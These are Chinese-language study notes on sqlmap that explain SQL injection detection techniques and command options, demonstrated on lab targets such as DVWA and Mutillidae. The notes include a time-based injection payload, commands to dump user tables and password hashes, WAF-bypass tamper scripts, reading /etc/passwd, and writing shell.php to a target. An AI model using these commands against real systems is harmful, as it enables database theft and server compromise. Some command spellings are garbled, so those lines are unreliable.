sqlmap
五种漏洞检测技术
- 基于布尔类型的盲注检测
- 依靠真假检测
- 基于时间类型的盲注检测
' and select * from (select(sleep(20))a)--
- 过二十秒再执行
- 基于错误的检测
- 根据数据库返回的错误信息检测
- 基于union的联合查询
- 试用于循环输出
- 没有循环可以使用limit
- 基于堆叠的查询
- 使用分号,同时执行多个命令
Target:指定目标
- -u 指定检测网站的url
sqlmap -u "http://172.20.10.2/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php- submit-button=View+Account+Details" -p username -f
- -p 指定可以测试的参数
- -f 执行广泛的DBMS版本指纹检查
- 使用了四种检测技术检测是否存在sql注入。并且查到了数据库的信息
- 将查询信息保存在
/root/.sqlmap/output/172.20.10.2
下
- –users 枚举数据库管理系统用户
- –dbs 枚举数据库管理系统数据库
- –banner 获取数据库管理系统的标识
- –schema 枚举数据库的结构
- -a 获取所有信息
- -m xxx.txt指定一个文件,探查识别txt文件中所有的url
- -d 指定账号密码连接数据库,作为客户端查询
sqlmap -d "mysql://user:password@172.20.10.2:3306/dvwa"
- -r 指定一个有http请求文件(post请求)
sqlmap -r request.txt
- -l 从Burpsuite的代理日志文件中分析目标
- -c从sqlmap的配置文件中加载
request:请求
- –data 适用于 post:
*sqlmap -u "http://192.168.0.104/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
* 查询结果:
* --param-del=";" 规定数据的分隔符为“;”,默认为“&” - –cookie="xx"
*sqlmap -u "http://192.168.0.104/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=500d6a397f5c5d8ce0b13a33e37b57c8" --dbs
* 查询结果:
* web应用基于cookie身份验证
* 检查cookie是否存在注入需要level>=2 - –user-agent
* 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改
* 由火狐浏览器发起的请求头 - –random-agent
* 随机使用/usr/share/golismero/tools/sqlmap/txt/user-agents.txt中存有的useragent
* 文件部分内容:
* 显示如下内容时,可能是由于user-agent被过滤
[ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
- –host=“xxx”
* 更改主机名
* 检查是否可以注入的等级需要>=5 - –referer=“xxx”
* 更改referer值 - –headers="host:www.a.com \nUser-Agent:xxxx"
* 大小写敏感
* \n是换行符 - –auth-type Basic --auth-cred "user:pass"
* Basic, Digest, NTLM or PKI
* 基于http的身份验证
* --auth-cred 认证凭证 - –delay="10"
* 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。 - –timeout="20"
* 请求超时时间,默认30秒 - –retries
* http(s)连接超时重试次数,默认三次 - –randomize=id
* 指定参数每次请求长度类型与原始值保持一致 - –scope
* 后面可以加上正则表达式可以进行指定页面检测
*sqlmap -l burp.log --scope="(17)?\.20\.10\.(1|14|140|15)" --level=3 --dbs
检测在burp.log日志里17?.20.10下四个ip地址的sql注入
* 识别出日志中的ip
* level=3会对cookie和user-agent,referer也进行sql注入检测 - –safe-url=SAFEURL
* 提供一个安全不错误的连接,每隔一段时间都会去访问一下,防止错误请求过多被过滤 - –skip-urlencode
* 跳过url编码
* 默认get会对传输内容编码,不规范的web服务器使用原始数据字符提交数据 - –eval
* 每次请求执行指定的python代码
* 每次请求更改新的参数值
* hash会估计id进行变化所以可以使用python每次id改变时更改hash值
sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
Optimization:优化
- –predict-output
* 根据检查方法,比对返回值和统计表内容 ,不断缩小检测范围,提高效率
* 统计表位置:/usr/share/sqlmap/data/txt/common-outputs.txt
* 与–threads不兼容 - –keep-alive
* 使用http(s)长连接,性能好
* 比较占用服务器资源,避免重复建立连接的网络开销。
* 与–proxy不兼容 - –null-connection
* 只获取相应页面大小,而非页面具体内容
* 与–text-only参数 不兼容(根据页面内容判断真假) - –threads
* 最大线程并发数
* 盲注时每一个线程获取一个字符(7次请求)
* 默认是1,建议不要超过10 - -o
* 开启前三个参数
Injection:注入
- -p
* 指定扫描的参数,比如只想扫描username,user-agent:-p "username,useragent"
* 指定扫描的参数,–level会失效 - –skip
* 排除扫描的指定参数
* 当level等级较高,部分内容不想扫描,可以使用--skip="id,user-agent"
不去扫描这两个参数 - URI注入点
* 在URI上加上*,sqlmap会识别参数使用payload检测
*sqlmap -u "http://target/param1/value1*/value2"
- –dbms="mysql"
* 指定用mysql进行探测目标,可以提高效率
* 可以加上版本号,越精确效率越高 - –invalid-bignum/–invalid-logical
* 默认sqlmap使参数失效是在前面加符号(id=1->id=-1)
* bignum使用大的数值使参数失效 (id=999999)
* logical 使用布尔类型使取值失效 (id=1 AND 1=2) - –no–cast
* 关闭字符转换,不使用空格代替null
* 老版本mysql需要使用这个参数 - –no-escape
* 将字符使用char()编码
* ‘foo’->char(102)+char(111)+char(111) - –prefix/–suffix=
* 注入payload字符串前缀/后缀 - –tamper
* 使用混淆的脚本,绕过应用层过滤,IPS,WAF
*--tamper="between.py,least.py"
* 该目录下全是可以使用的脚本
Detection:检测
- –level
* 测试等级(默认1)
* 在/usr/share/sqlmap/data/xml/payloads有所有的测试语句的文件:boolean_blind.xml error_based.xml inline_query.xml stacked_queries.xml time_blind.xml union_query.xml
- –risk
* 更改风险等级(默认1 无害)
* risk升高可能会有篡改数据的风险(update) - 真假页面比较参数:
* --string="" 查询时有效时在页面匹配字符串
* --not-string="" 当查询求值为无效时匹配的字符串
* --regexp="" 查询时有效时在页面匹配正则表达式
* --code="" 当查询求值为True时匹配的HTTP代码
* --text-only 仅基于在文本内容比较网页
* --titles 仅根据他们的标题进行比较
enumeration:枚举
-
-a, –all 获取所有信息
-b, –banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T BL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P… Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件 -
–table
* 获取数据库中的表
* -
–column
* 获取数据库表里的字段名
* -
叠加使用:查询dvwa数据库下的users表下的user字段下内容数量
*sqlmap -u "http://172.20.10.14/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "username" -D dvwa -T users -C user --count
* 结果如下: -
获取元数据
*--schema --batch --exclude-sysdbs
会从数据库信息表里搜索所有表信息
* –batch使用默认选项,不再询问 -
–dump
* 获取数据
*sqlmap -u "http://172.20.10.14/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "username" -D dvwa -T users --dump
* 发现hash值可以直接帮助破解
* 结果保存在.sqlmap/out文件下:
访问文件系统
- –file-read="/etc/passwd"
* 从后端的数据库管理系统文件系统读取文件 - –file-write=“shell.php” --file-dest “/tmp/shell.php”
* 将本地的文件写入目标
使用sqlmap利用sql注入漏洞
- 使用sqlmap扫描发现存在sql注入漏洞后可以按顺序使用下列命令来查询出账号密码
sqlmap -u url -dbs
查看数据库名sqlmap -u url -D "数据库名 -tables"
查看对应数据库下的数据库表sqlmap -u url -D "数据库名" -T "表名" -colums
查看对应的列名sqlmap -u url -D "数据库名" -T "表名" -C "列名" -dump
查看对应的字段值